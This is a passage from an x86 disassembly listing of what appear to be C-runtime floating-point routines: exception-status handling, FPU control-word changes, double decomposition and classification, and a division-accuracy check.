		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4

loc_41C097:				; CODE XREF: sub_41C040+47j
		test	cl, 4
		jz	short loc_41C0AA
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8

loc_41C0AA:				; CODE XREF: sub_41C040+5Aj
		test	cl, 8
		jz	short loc_41C0BD
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h

loc_41C0BD:				; CODE XREF: sub_41C040+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_41C760
		test	al, bl
		jz	short loc_41C146
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h

loc_41C146:				; CODE XREF: sub_41C040+FDj
		test	al, 4
		jz	short loc_41C151
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8

loc_41C151:				; CODE XREF: sub_41C040+108j
		test	al, 8
		jz	short loc_41C15C
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4

loc_41C15C:				; CODE XREF: sub_41C040+113j
		test	al, 10h
		jz	short loc_41C166
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi

loc_41C166:				; CODE XREF: sub_41C040+11Ej
		test	al, 20h
		jz	short loc_41C170
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx

loc_41C170:				; CODE XREF: sub_41C040+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_41C1AF
		cmp	eax, 400h
		jz	short loc_41C1A1
		cmp	eax, 800h
		jz	short loc_41C195
		cmp	eax, ecx
		jnz	short loc_41C1B5
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_41C1B5
; ---------------------------------------------------------------------------

loc_41C195:				; CODE XREF: sub_41C040+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_41C1AB
; ---------------------------------------------------------------------------

loc_41C1A1:				; CODE XREF: sub_41C040+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx

loc_41C1AB:				; CODE XREF: sub_41C040+15Fj
		mov	[eax], ecx
		jmp	short loc_41C1B5
; ---------------------------------------------------------------------------

loc_41C1AF:				; CODE XREF: sub_41C040+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh

loc_41C1B5:				; CODE XREF: sub_41C040+14Bj
					; sub_41C040+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_41C1E0
		cmp	eax, 200h
		jz	short loc_41C1D3
		cmp	eax, ecx
		jnz	short loc_41C1ED
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_41C1ED
; ---------------------------------------------------------------------------

loc_41C1D3:				; CODE XREF: sub_41C040+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_41C1EB
; ---------------------------------------------------------------------------

loc_41C1E0:				; CODE XREF: sub_41C040+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8

loc_41C1EB:				; CODE XREF: sub_41C040+19Ej
		mov	[eax], ecx

loc_41C1ED:				; CODE XREF: sub_41C040+189j
					; sub_41C040+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_41C76E
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		call	near ptr 2880000h
		nop
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_41C267
		and	dword ptr [esi], 0FFFFFFFEh

loc_41C267:				; CODE XREF: sub_41C040+222j
		test	byte ptr [eax+8], 8
		jz	short loc_41C270
		and	dword ptr [esi], 0FFFFFFFBh

loc_41C270:				; CODE XREF: sub_41C040+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_41C279
		and	dword ptr [esi], 0FFFFFFF7h

loc_41C279:				; CODE XREF: sub_41C040+234j
		test	byte ptr [eax+8], 2
		jz	short loc_41C282
		and	dword ptr [esi], 0FFFFFFEFh

loc_41C282:				; CODE XREF: sub_41C040+23Dj
		test	[eax+8], bl
		jz	short loc_41C28A
		and	dword ptr [esi], 0FFFFFFDFh

loc_41C28A:				; CODE XREF: sub_41C040+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_41C2BE
		dec	ecx
		jz	short loc_41C2B2
		dec	ecx
		jz	short loc_41C2A8
		dec	ecx
		jnz	short loc_41C2C0
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_41C2C0
; ---------------------------------------------------------------------------

loc_41C2A8:				; CODE XREF: sub_41C040+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_41C2BA
; ---------------------------------------------------------------------------

loc_41C2B2:				; CODE XREF: sub_41C040+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4

loc_41C2BA:				; CODE XREF: sub_41C040+270j
		mov	[esi], ecx
		jmp	short loc_41C2C0
; ---------------------------------------------------------------------------

loc_41C2BE:				; CODE XREF: sub_41C040+257j
		and	[esi], edx

loc_41C2C0:				; CODE XREF: sub_41C040+260j
					; sub_41C040+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_41C2E0
		dec	ecx
		jz	short loc_41C2D7
		dec	ecx
		jnz	short loc_41C2E9
		and	[esi], edx
		jmp	short loc_41C2E9
; ---------------------------------------------------------------------------

loc_41C2D7:				; CODE XREF: sub_41C040+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_41C2E7
; ---------------------------------------------------------------------------

loc_41C2E0:				; CODE XREF: sub_41C040+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3

loc_41C2E7:				; CODE XREF: sub_41C040+29Ej
		mov	[esi], ecx

loc_41C2E9:				; CODE XREF: sub_41C040+291j
					; sub_41C040+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41C040	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C2F3	proc near		; CODE XREF: sub_41BFA8+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_41C31E
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_41C31E
		push	ebx
		call	sub_41C7A0
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_41C4E8
; ---------------------------------------------------------------------------

loc_41C31E:				; CODE XREF: sub_41C2F3+15j
					; sub_41C2F3+1Aj
		test	al, 4
		jz	short loc_41C338
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_41C338
		push	4
		call	sub_41C7A0
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_41C4E8
; ---------------------------------------------------------------------------

loc_41C338:				; CODE XREF: sub_41C2F3+2Dj
					; sub_41C2F3+33j
		test	al, bl
		jz	loc_41C412
		test	byte ptr [ebp+arg_8], 8
		jz	loc_41C412
		push	8
		call	sub_41C7A0
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_41C3EA
		cmp	ecx, 400h
		jz	short loc_41C3C2
		cmp	ecx, 800h
		jz	short loc_41C39A
		cmp	ecx, eax
		jnz	loc_41C40A
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_424818
		fld	dbl_435FA0
		fnstsw	ax
		sahf
		ja	short loc_41C392
		fchs

loc_41C392:				; CODE XREF: sub_41C2F3+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_41C408
; ---------------------------------------------------------------------------

loc_41C39A:				; CODE XREF: sub_41C2F3+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_424818
		fnstsw	ax
		sahf
		jbe	short loc_41C3B2
		fld	dbl_435F90
		jmp	short loc_41C3BA
; ---------------------------------------------------------------------------

loc_41C3B2:				; CODE XREF: sub_41C2F3+B5j
		fld	dbl_435FA0
		fchs

loc_41C3BA:				; CODE XREF: sub_41C2F3+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_41C408
; ---------------------------------------------------------------------------

loc_41C3C2:				; CODE XREF: sub_41C2F3+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_424818
		fnstsw	ax
		sahf
		jbe	short loc_41C3DA
		fld	dbl_435FA0
		jmp	short loc_41C3E2
; ---------------------------------------------------------------------------

loc_41C3DA:				; CODE XREF: sub_41C2F3+DDj
		fld	dbl_435F90
		fchs

loc_41C3E2:				; CODE XREF: sub_41C2F3+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_41C408
; ---------------------------------------------------------------------------

loc_41C3EA:				; CODE XREF: sub_41C2F3+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_424818
		fld	dbl_435F90
		fnstsw	ax
		sahf
		ja	short loc_41C402
		fchs

loc_41C402:				; CODE XREF: sub_41C2F3+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]

loc_41C408:				; CODE XREF: sub_41C2F3+A5j
					; sub_41C2F3+CDj ...
		fstp	qword ptr [ecx]

loc_41C40A:				; CODE XREF: sub_41C2F3+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_41C4E8
; ---------------------------------------------------------------------------

loc_41C412:				; CODE XREF: sub_41C2F3+47j
					; sub_41C2F3+51j
		test	al, 2
		jz	loc_41C4E8
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_41C4E8
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_41C42D
		mov	esi, ebx

loc_41C42D:				; CODE XREF: sub_41C2F3+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_424818
		fnstsw	ax
		sahf
		jz	loc_41C4D6
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_41C69F
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_41C478
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_41C4CC
; ---------------------------------------------------------------------------

loc_41C478:				; CODE XREF: sub_41C2F3+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_424818
		fnstsw	ax
		sahf
		jnb	short loc_41C48A
		mov	edx, ebx
		jmp	short loc_41C48C
; ---------------------------------------------------------------------------

loc_41C48A:				; CODE XREF: sub_41C2F3+191j
		xor	edx, edx

loc_41C48C:				; CODE XREF: sub_41C2F3+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_41C4C0
		sub	eax, ecx

loc_41C4A3:				; CODE XREF: sub_41C2F3+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_41C4AE
		test	esi, esi
		jnz	short loc_41C4AE
		mov	esi, ebx

loc_41C4AE:				; CODE XREF: sub_41C2F3+1B3j
					; sub_41C2F3+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_41C4BA
		or	byte ptr [ebp+var_C+3],	80h

loc_41C4BA:				; CODE XREF: sub_41C2F3+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_41C4A3

loc_41C4C0:				; CODE XREF: sub_41C2F3+1ACj
		test	edx, edx
		jz	short loc_41C4CC
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]

loc_41C4CC:				; CODE XREF: sub_41C2F3+183j
					; sub_41C2F3+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_41C4D8
; ---------------------------------------------------------------------------

loc_41C4D6:				; CODE XREF: sub_41C2F3+14Ej
		mov	esi, ebx

loc_41C4D8:				; CODE XREF: sub_41C2F3+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_41C4E5
		push	10h
		call	sub_41C7A0
		pop	ecx

loc_41C4E5:				; CODE XREF: sub_41C2F3+1E8j
		and	edi, 0FFFFFFFDh

loc_41C4E8:				; CODE XREF: sub_41C2F3+26j
					; sub_41C2F3+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_41C4FF
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_41C4FF
		push	20h
		call	sub_41C7A0
		pop	ecx
		and	edi, 0FFFFFFEFh

loc_41C4FF:				; CODE XREF: sub_41C2F3+1F9j
					; sub_41C2F3+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_41C2F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C50A(int,int,int,int,int,int,double,int)

sub_41C50A	proc near		; CODE XREF: sub_41BF55+2Bp
					; sub_41BFA8+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_41C5B8
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_41C575
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_41C77D
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_42017F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41C56F
		push	esi
		call	sub_41C592
		pop	ecx

loc_41C56F:				; CODE XREF: sub_41C50A+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------

loc_41C575:				; CODE XREF: sub_41C50A+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_41C77D
		push	[ebp+arg_0]
		call	sub_41C592
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_41C50A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C592	proc near		; CODE XREF: sub_41BFA8+7Dp
					; sub_41C50A+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_41C5AD
		jle	short locret_41C5B7
		cmp	eax, 3
		jg	short locret_41C5B7
		mov	dword_4CD9B4, 22h
		retn
; ---------------------------------------------------------------------------

loc_41C5AD:				; CODE XREF: sub_41C592+7j
		mov	dword_4CD9B4, 21h

locret_41C5B7:				; CODE XREF: sub_41C592+9j
					; sub_41C592+Ej
		retn
sub_41C592	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C5B8	proc near		; CODE XREF: sub_41C50A+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_435EB8

loc_41C5BF:				; CODE XREF: sub_41C5B8+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_41C5D5
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_435F90
		jl	short loc_41C5BF
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41C5D5:				; CODE XREF: sub_41C5B8+Dj
		mov	eax, off_435EBC[ecx*8]
		retn
sub_41C5B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C5DD	proc near		; CODE XREF: sub_41BFA8+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_41C5E9
		push	5
		jmp	short loc_41C5FF
; ---------------------------------------------------------------------------

loc_41C5E9:				; CODE XREF: sub_41C5DD+6j
		test	al, 8
		jz	short loc_41C5F1
		push	1
		jmp	short loc_41C5FF
; ---------------------------------------------------------------------------

loc_41C5F1:				; CODE XREF: sub_41C5DD+Ej
		test	al, 4
		jz	short loc_41C5F9
		push	2
		jmp	short loc_41C5FF
; ---------------------------------------------------------------------------

loc_41C5F9:				; CODE XREF: sub_41C5DD+16j
		test	al, 1
		jz	short loc_41C601
		push	3

loc_41C5FF:				; CODE XREF: sub_41C5DD+Aj
					; sub_41C5DD+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_41C601:				; CODE XREF: sub_41C5DD+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_41C5DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C60A(double)

sub_41C60A	proc near		; CODE XREF: sub_417CA4:loc_417D2Ap
					; sub_417DEB:loc_417E71p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_41C60A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C61C(double,int)

sub_41C61C	proc near		; CODE XREF: sub_41C69F+82p
					; sub_41C69F+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_41C61C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C645	proc near		; CODE XREF: sub_417CA4+31p
					; sub_417DEB+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_41C65C
		cmp	[ebp+arg_0], edx
		jnz	short loc_41C66E
		push	1
		jmp	short loc_41C698
; ---------------------------------------------------------------------------

loc_41C65C:				; CODE XREF: sub_41C645+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_41C66E
		cmp	[ebp+arg_0], edx
		jnz	short loc_41C66E
		push	2
		jmp	short loc_41C698
; ---------------------------------------------------------------------------

loc_41C66E:				; CODE XREF: sub_41C645+11j
					; sub_41C645+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_41C681
		push	3
		jmp	short loc_41C698
; ---------------------------------------------------------------------------

loc_41C681:				; CODE XREF: sub_41C645+36j
		cmp	cx, 7FF0h
		jnz	short loc_41C69B
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_41C696
		cmp	[ebp+arg_0], edx
		jz	short loc_41C69B

loc_41C696:				; CODE XREF: sub_41C645+4Aj
		push	4

loc_41C698:				; CODE XREF: sub_41C645+15j
					; sub_41C645+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41C69B:				; CODE XREF: sub_41C645+41j
					; sub_41C645+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_41C645	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C69F(double,int)

sub_41C69F	proc near		; CODE XREF: sub_41C2F3+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_424818
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_41C6BF
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_41C755
; ---------------------------------------------------------------------------

loc_41C6BF:				; CODE XREF: sub_41C69F+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_41C72E
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_41C6D7
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_41C72E

loc_41C6D7:				; CODE XREF: sub_41C69F+31j
		fld	[ebp+arg_0]
		fcomp	dbl_424818
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_41C6EF
		push	1
		pop	eax
		jmp	short loc_41C6F1
; ---------------------------------------------------------------------------

loc_41C6EF:				; CODE XREF: sub_41C69F+49j
		xor	eax, eax

loc_41C6F1:				; CODE XREF: sub_41C69F+4Ej
					; sub_41C69F+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_41C70A
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_41C704
		or	dword ptr [ebp+arg_0+4], 1

loc_41C704:				; CODE XREF: sub_41C69F+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_41C6F1
; ---------------------------------------------------------------------------

loc_41C70A:				; CODE XREF: sub_41C69F+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_41C718
		or	byte ptr [ebp+arg_0+7],	80h

loc_41C718:				; CODE XREF: sub_41C69F+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_41C61C
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_41C755
; ---------------------------------------------------------------------------

loc_41C72E:				; CODE XREF: sub_41C69F+28j
					; sub_41C69F+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_41C61C
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh

loc_41C755:				; CODE XREF: sub_41C69F+1Bj
					; sub_41C69F+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_41C69F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C760	proc near		; CODE XREF: sub_41C040+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_41C760	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C76E	proc near		; CODE XREF: sub_41C040+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_41C76E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C77D	proc near		; CODE XREF: sub_417CA4+13p
					; sub_417CA4+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_41C77D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C7A0	proc near		; CODE XREF: sub_41C2F3+1Dp
					; sub_41C2F3+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_41C7B7
		fld	tbyte_435FB8
		fistp	[ebp+arg_0]
		wait

loc_41C7B7:				; CODE XREF: sub_41C7A0+Bj
		test	cl, 8
		jz	short loc_41C7CC
		fstsw	ax
		fld	tbyte_435FB8
		fstp	[ebp+var_8]
		wait
		fstsw	ax

loc_41C7CC:				; CODE XREF: sub_41C7A0+1Aj
		test	cl, 10h
		jz	short loc_41C7DB
		fld	tbyte_435FC4
		fstp	[ebp+var_8]
		wait

loc_41C7DB:				; CODE XREF: sub_41C7A0+2Fj
		test	cl, 4
		jz	short loc_41C7E9
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait

loc_41C7E9:				; CODE XREF: sub_41C7A0+3Ej
		test	cl, 20h
		jz	short locret_41C7F4
		fldpi
		fstp	[ebp+var_8]
		wait

locret_41C7F4:				; CODE XREF: sub_41C7A0+4Cj
		leave
		retn
sub_41C7A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C7F6	proc near		; CODE XREF: sub_417D73+Fp
		push	30000h
		push	10000h
		call	sub_4201B7
		pop	ecx
		pop	ecx
		retn
sub_41C7F6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C808	proc near		; CODE XREF: sub_41C846:loc_41C86Aj

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_424828
		fstp	[ebp+var_8]
		fld	dbl_424820
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_4246A8
		fnstsw	ax
		sahf
		jbe	short loc_41C842
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_41C842:				; CODE XREF: sub_41C808+33j
		xor	eax, eax
		leave
		retn
sub_41C808	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C846	proc near		; CODE XREF: sub_417D73+5p
		push	offset aKernel32 ; "KERNEL32"
		call	near ptr 2730B6Ah
